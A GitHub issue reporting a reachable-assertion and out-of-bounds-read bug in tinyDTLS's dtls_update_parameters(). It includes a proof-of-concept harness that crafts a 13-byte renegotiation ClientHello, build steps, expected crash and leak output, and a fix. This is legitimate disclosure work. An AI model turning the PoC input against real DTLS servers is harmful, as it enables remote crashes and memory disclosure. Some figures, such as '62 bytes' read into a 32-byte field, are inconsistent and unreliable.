Skip to content

tinydtls dtls_update_parameters Assert-Only Length Guard #272

Description

@Zhaodl1

1. Report Metadata

Field Value
Project Eclipse tinyDTLS
Title Reachable assertion / out-of-bounds read in dtls_update_parameters via short renegotiation ClientHello
Affected component dtls.c
Affected function dtls_update_parameters()
Affected role DTLS server (renegotiation path)
Tested version v0.9-rc1-214-g6f4f604 (commit 6f4f604, main)
Suggested CWE CWE-617 (Reachable Assertion), CWE-125 (Out-of-bounds Read)
Impact class Remote Denial of Service (crash); remote memory disclosure (OOB read)

vuln_001_short_client_hello_assert.zip

2. Executive Summary

Eclipse tinyDTLS is a small DTLS 1.2 implementation targeting constrained
devices. The server-side handshake parameter update function
dtls_update_parameters() guards a critical length precondition with a C
assert() macro instead of a runtime check that returns an error.

When the library is built with assertions enabled (the default debug
configuration), a remote, authenticated peer can send a truncated
ClientHello during renegotiation and trigger the assertion, causing the
server process to abort (SIGABRT). This is a remote denial-of-service
vulnerability: a single UDP datagram crashes the server.

When the library is built with NDEBUG defined (a common release
configuration), the assertion is compiled out and the same input causes
the function to read 32 bytes from memory beyond the end of the
ClientHello buffer
. The over-read data is copied into the handshake
state's client_random field and used in subsequent PRF computations.
This is a remote out-of-bounds read (CWE-125) that can leak sensitive
heap or stack memory into derived key material.

3. Vulnerability Overview

The vulnerable code is in dtls_update_parameters():

@tinydtls/dtls.c:1366-1378

  dtls_handshake_parameters_t *config = peer->handshake_params;

  assert(config);
  assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);

  /* skip the handshake header and client version information */
  data += DTLS_HS_LENGTH + sizeof(uint16);
  data_length -= DTLS_HS_LENGTH + sizeof(uint16);

  /* store client random in config */
  memcpy(config->tmp.random.client, data, DTLS_RANDOM_LENGTH);
  data += DTLS_RANDOM_LENGTH;
  data_length -= DTLS_RANDOM_LENGTH;

The flawed check is line 1369:

assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);

assert() is a debug-only macro; with NDEBUG defined it expands to
((void)0) and the check vanishes. The subsequent memcpy on line
1376 copies DTLS_RANDOM_LENGTH (32) bytes from data + 14 without
verifying that data_length is large enough to hold them. When
data_length is smaller than 46, the memcpy reads past the end of
the caller's buffer.

The PoC exercises this by calling handle_verified_client_hello()
(which calls dtls_update_parameters()) with a 13-byte ClientHello
handshake message — well below the 46-byte threshold.

4. Technical Root Cause

Call chain

The renegotiation path reaches dtls_update_parameters() as follows:

  1. dtls_handle_message()@tinydtls/dtls.c:4627
    iterates over DTLS records in the input datagram.
  2. For an established peer, the record is decrypted and the handshake
    fragment is dispatched to handle_handshake().
  3. handle_handshake()@tinydtls/dtls.c:4310
    validates the handshake header and calls handle_handshake_msg().
  4. handle_handshake_msg()@tinydtls/dtls.c:4345-4355
    checks fragment_length + DTLS_HS_LENGTH == data_length but
    imposes no minimum length:

@tinydtls/dtls.c:4345-4355

  packet_length = dtls_uint24_to_int(hs_header->length);
  fragment_length = dtls_uint24_to_int(hs_header->fragment_length);
  fragment_offset = dtls_uint24_to_int(hs_header->fragment_offset);
  if (packet_length != fragment_length || fragment_offset != 0) {
    dtls_warn("No fragment support (yet)\n");
    return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
  }
  if (fragment_length + DTLS_HS_LENGTH != data_length) {
    dtls_warn("Fragment size does not match packet size\n");
    return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
  }
  1. For a DTLS_HT_CLIENT_HELLO received while the peer is in
    DTLS_STATE_CONNECTED (renegotiation), the message is dispatched to
    handle_verified_client_hello():

@tinydtls/dtls.c:4134-4157

  case DTLS_HT_CLIENT_HELLO:

    if (state != DTLS_STATE_CONNECTED) {
      return dtls_alert_fatal_create(DTLS_ALERT_UNEXPECTED_MESSAGE);
    }
    ...
    if (!peer->handshake_params) {
      dtls_handshake_header_t *hs_header = DTLS_HANDSHAKE_HEADER(data);
      peer->handshake_params = dtls_handshake_new();
      ...
    }
    err = handle_verified_client_hello(ctx, peer, data, data_length);
  1. handle_verified_client_hello()@tinydtls/dtls.c:3871
    immediately calls dtls_update_parameters() with no additional
    length check:

@tinydtls/dtls.c:3859-3871

static int
handle_verified_client_hello(dtls_context_t *ctx, dtls_peer_t *peer,
		uint8 *data, size_t data_length) {

  clear_hs_hash(peer);
  ...
  int err = dtls_update_parameters(ctx, peer, data, data_length);

5. Proof of Concept

The PoC (poc.c) is a single translation unit that #includes
dtls.c directly to reach the static function
handle_verified_client_hello(). It runs two tests:

Test 1 sends a 27-byte epoch-0 ClientHello (body = 2 bytes, well
below the 46-byte threshold) through dtls_handle_message(). The
cookie code rejects it gracefully — no crash. This demonstrates that
the epoch-0 path is not exploitable.

Test 2 simulates a renegotiation: it creates a peer in
DTLS_STATE_CONNECTED, then calls handle_verified_client_hello()
with a 13-byte ClientHello. The 13-byte message is placed between
two canary regions on the stack so that the OOB read is observable.

The malicious input is constructed as:

uint8 canary_pre[32];  /* filled with 0xAA */
uint8 msg[13];
uint8 canary_post[64]; /* filled with 0xBB */

uint8 *p = msg;
p = put_handshake_header(p, DTLS_HT_CLIENT_HELLO, (uint24){1}, 5,
                         (uint24){0}, (uint24){1});
*p++ = 0x00;  /* 1-byte body */
/* msg is now 13 bytes: 12-byte HS header + 1 byte body */
/* fragment_length=1, so fragment_length + DTLS_HS_LENGTH = 13 = data_length */

int rc = handle_verified_client_hello(ctx, peer, msg, 13);

After the call, the PoC inspects peer->handshake_params->tmp.random.client.
If the 32-byte buffer contains canary bytes (0xAA), the OOB read is
confirmed.

6. Build & Run

Working directory:
tinydtls/vuln_001_short_client_hello_assert/

Debug build (assertions ON — demonstrates crash)

cmake -B build -S .
cmake --build build -j$(nproc)
./build/vuln_poc_short_client_hello_assert

Expected output (debug):

tinydtls PoC — Finding 1: dtls_update_parameters assert-only guard
=============================================================
DTLS_HS_LENGTH      = 12
DTLS_CH_LENGTH      = 34
DTLS_RANDOM_LENGTH  = 32
HS+CH               = 46
Build mode          = debug (assertions ON)

=== Test 1: epoch-0 short ClientHello (expect: NO crash) ===
  sending 27-byte record (body=2, below HS+CH=46)
Jun 23 06:42:13 WARN No fragment support (yet)
  dtls_handle_message returned 0 (no crash -> epoch-0 path is safe)

=== Test 2: renegotiation short ClientHello (expect: CRASH) ===
  calling handle_verified_client_hello with 13-byte ClientHello
  (DTLS_HS_LENGTH+DTLS_CH_LENGTH = 46, assert requires > 46)
  data_length=13 <= 46 => assert FAILS (debug) or OOB read (NDEBUG)
  [debug] assertions enabled - expecting SIGABRT from assert()
vuln_poc_short_client_hello_assert: tinydtls/dtls.c:1369: dtls_update_parameters: Assertion `data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH' failed.
已中止 (核心已转储)

Exit code: 134 (SIGABRT).

Release build (NDEBUG — demonstrates OOB read)

cmake -B build_rel -S . -DCMAKE_BUILD_TYPE=Release
cmake --build build_rel -j$(nproc)
./build_rel/vuln_poc_short_client_hello_assert

Expected output (NDEBUG):

tinydtls PoC — Finding 1: dtls_update_parameters assert-only guard
=============================================================
DTLS_HS_LENGTH      = 12
DTLS_CH_LENGTH      = 34
DTLS_RANDOM_LENGTH  = 32
HS+CH               = 46
Build mode          = NDEBUG (assertions OFF)

=== Test 1: epoch-0 short ClientHello (expect: NO crash) ===
  sending 27-byte record (body=2, below HS+CH=46)
  dtls_handle_message returned 0 (no crash -> epoch-0 path is safe)

=== Test 2: renegotiation short ClientHello (expect: CRASH) ===
  calling handle_verified_client_hello with 13-byte ClientHello
  (DTLS_HS_LENGTH+DTLS_CH_LENGTH = 46, assert requires > 46)
  data_length=13 <= 46 => assert FAILS (debug) or OOB read (NDEBUG)
  [NDEBUG] assertions disabled - OOB read will copy canary bytes
  handle_verified_client_hello returned -552
  client random buffer changed by OOB read: YES (OOB read confirmed)
  client random now contains bytes copied from beyond msg[]:
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00
  canary_pre corrupted:  no
  canary_post corrupted: no
  *** OOB READ CONFIRMED (CWE-125) ***

Done.

Exit code: 0 (the OOB read does not crash; it silently copies
out-of-bounds memory into the handshake state).

The 0xAA bytes in the client random prove that 62 bytes were read
from the canary_pre stack region (which lies adjacent to msg on
the stack) and 2 trailing zero bytes came from beyond the canary.

7. Impact

Attacker position: An authenticated remote peer who has completed
a DTLS handshake with the server. No man-in-the-middle position is
required — the attacker is a legitimate client.

Debug builds (assertions enabled):

  • Remote DoS via crash. A single 13-byte UDP datagram containing
    a truncated ClientHello triggers assert()SIGABRT. The server
    process terminates immediately. On constrained devices running
    tinyDTLS, this typically takes down the entire application.
  • CWE-617 (Reachable Assertion).

Release builds (NDEBUG):

  • Remote out-of-bounds read. 32 bytes are read from memory beyond
    the ClientHello buffer and stored in config->tmp.random.client.
    This field feeds the DTLS PRF, so the over-read data influences
    derived key material. Depending on heap/stack layout, the leaked
    bytes may contain sensitive data from other connections, private
    keys, or stack frames.
  • CWE-125 (Out-of-bounds Read).
  • The over-read also corrupts the handshake: data_length underflows
    (unsigned) on line 1373/1378, causing subsequent SKIP_VAR_FIELD
    calls to read further out of bounds or return a fatal alert. This
    can cascade into additional memory-safety violations.

Severity: High. Remote, unauthenticated in the sense that any
peer who can complete a handshake (the normal case for a DTLS server)
can trigger the bug. No special privileges required.

8. Remediation

Replace the assert() on line 1369 with a runtime check that returns
a fatal alert:

@tinydtls/dtls.c:1368-1369

  assert(config);
  assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);

Suggested fix:

  if (!config) {
    dtls_warn("handshake parameters not initialized\n");
    return dtls_alert_fatal_create(DTLS_ALERT_INTERNAL_ERROR);
  }
  if (data_length <= DTLS_HS_LENGTH + DTLS_CH_LENGTH) {
    dtls_warn("ClientHello too short: %zu bytes (need > %zu)\n",
              data_length, (size_t)(DTLS_HS_LENGTH + DTLS_CH_LENGTH));
    return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
  }

This converts both the config assertion and the length assertion
into proper error returns, so the function fails safely in both debug
and release builds.

Additional hardening: The caller handle_handshake_msg()
(@tinydtls/dtls.c:4352) should also
enforce a minimum data_length for DTLS_HT_CLIENT_HELLO before
dispatching to handle_verified_client_hello(), providing
defense-in-depth.

Temporary mitigation: Building tinyDTLS with assertions enabled
(-UNDEBUG) converts the OOB read into a crash, preventing memory
disclosure but leaving the DoS vector open. This is not a complete
fix.

9. References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions